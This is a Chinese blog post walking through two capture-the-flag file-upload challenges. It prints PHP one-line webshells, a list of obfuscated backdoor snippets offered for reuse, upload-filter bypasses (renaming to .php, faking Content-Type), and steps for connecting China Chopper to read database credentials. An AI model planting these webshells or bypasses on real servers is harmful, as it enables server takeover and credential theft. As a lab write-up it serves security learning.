继续浏览精彩内容
慕课网APP
程序员的梦工厂
打开
继续
感谢您的支持,我会继续努力的
赞赏金额会直接到老师账户
将二维码发送给自己后长按识别
微信支付
支付宝支付

WEB 练习2——文件上传基础练习

那怎么办嘛
关注TA
已关注
手记 39
粉丝 7201
获赞 414

今天Evan为大家带来的是两道基础的文件上传题目,通过这两道题目大家可以学习到文件上传以及连接菜刀的基本操作。

  • Upload(百度杯九月场)

题目描述:想怎么传就怎么传,就是这么任性。hint:flag在flag.php中  

打开题目链接以后我们会发现这是一道文件上传的题目,并且题目说你可以随意上传文件,那我们上传一句话木马试一试。

https://img.mukewang.com/5ba1f63f0001b06104910193.jpg

构造一个简单的一句话木马:

<?php @eval($_POST[value]);?>

上传文件,上传成功后我们打开上传的的文件看一下,会发现我们的一句话木马变成了这个样子:

@eval($_POST[value]);?>

说明过滤了<?以及PHP关键字,我们百度找一个厉害一点木马:

<script language="php">@eval_r($_POST[sb])</script>

再次上传并连接菜刀便可以找到flag.php文件

https://img3.mukewang.com/5ba1f7b40001cfaa10130203.jpg

这道题目是一道基础的文件上传,需要我们学会一句话木马以及菜刀的使用方式,在这里Evan为大家列举几个常见的比较特殊的一句话木马,在大家今后的学习中会经常用到。  

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";  
$hh("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话
$filename=$_GET['xbid'];  
include ($filename);//危险的include函数,直接编译任何文件为php格式运行
$reg="c"."o"."p"."y";  
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);//重命名任何文件
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";  
$gzid("/[discuz]/e",$_POST['h'],"Access");//菜刀一句话
include ($uid);//危险的include函数,直接编译任何文件为php格式运行
POST  //gif插一句话
  • Do you know upload?(第三届“百越杯”福建省高校网络空间安全大赛)

题目描述:加油吧,少年。

https://img2.mukewang.com/5ba2435000016dbe03850192.jpg

和上一道题目类似,只不过这道题目要求我们上传一张图片,我们有两种处理方式,在这里我为大家一一演示。

方法一:上传jpg

我们将写好的一句话木马制作成jpg格式,并且上传抓包

https://img2.mukewang.com/5ba244730001742e06260104.jpg

在这里我们将其更改成.php文件重新上传

https://img2.mukewang.com/5ba244a60001cdfa06240115.jpg

https://img3.mukewang.com/5ba244b00001a6c508470076.jpg

图片上传成功,我们可以看到图片存在upload/aaa333.php下方,菜刀连接。

https://img4.mukewang.com/5ba2469200011b7e07190296.jpg

在config配置文件中我们看到了数据库的用户名和密码,连接数据库,

https://img3.mukewang.com/5ba246c3000153e507880252.jpg

在数据库中我们拿到了flag。

https://img.mukewang.com/5ba246de0001712003220134.jpg

方法二:上传.php文件

我们在这里也可以上传.php文件,但是网页会显示如下图所示的文件类型不允许,

https://img.mukewang.com/5ba247860001258a05630225.jpg

于是我们对其进行抓包,

https://img3.mukewang.com/5ba247620001373906310086.jpg

更改Content-Type: application/octet-stream为Content-Type: image/jpeg,POST,接下来做法和上边的相同,小伙伴们可以自己动手试一下。

今天的讲解就到这里,在今后的文章中我会带领大家更深入的学习文件上传类题目,明天见~




打开App,阅读手记
2人推荐
发表评论
随时随地看视频慕课网APP

热门评论

一句话木马里面的php是直接过滤了需要绕过

直接用PHp绕过(大小写)

查看全部评论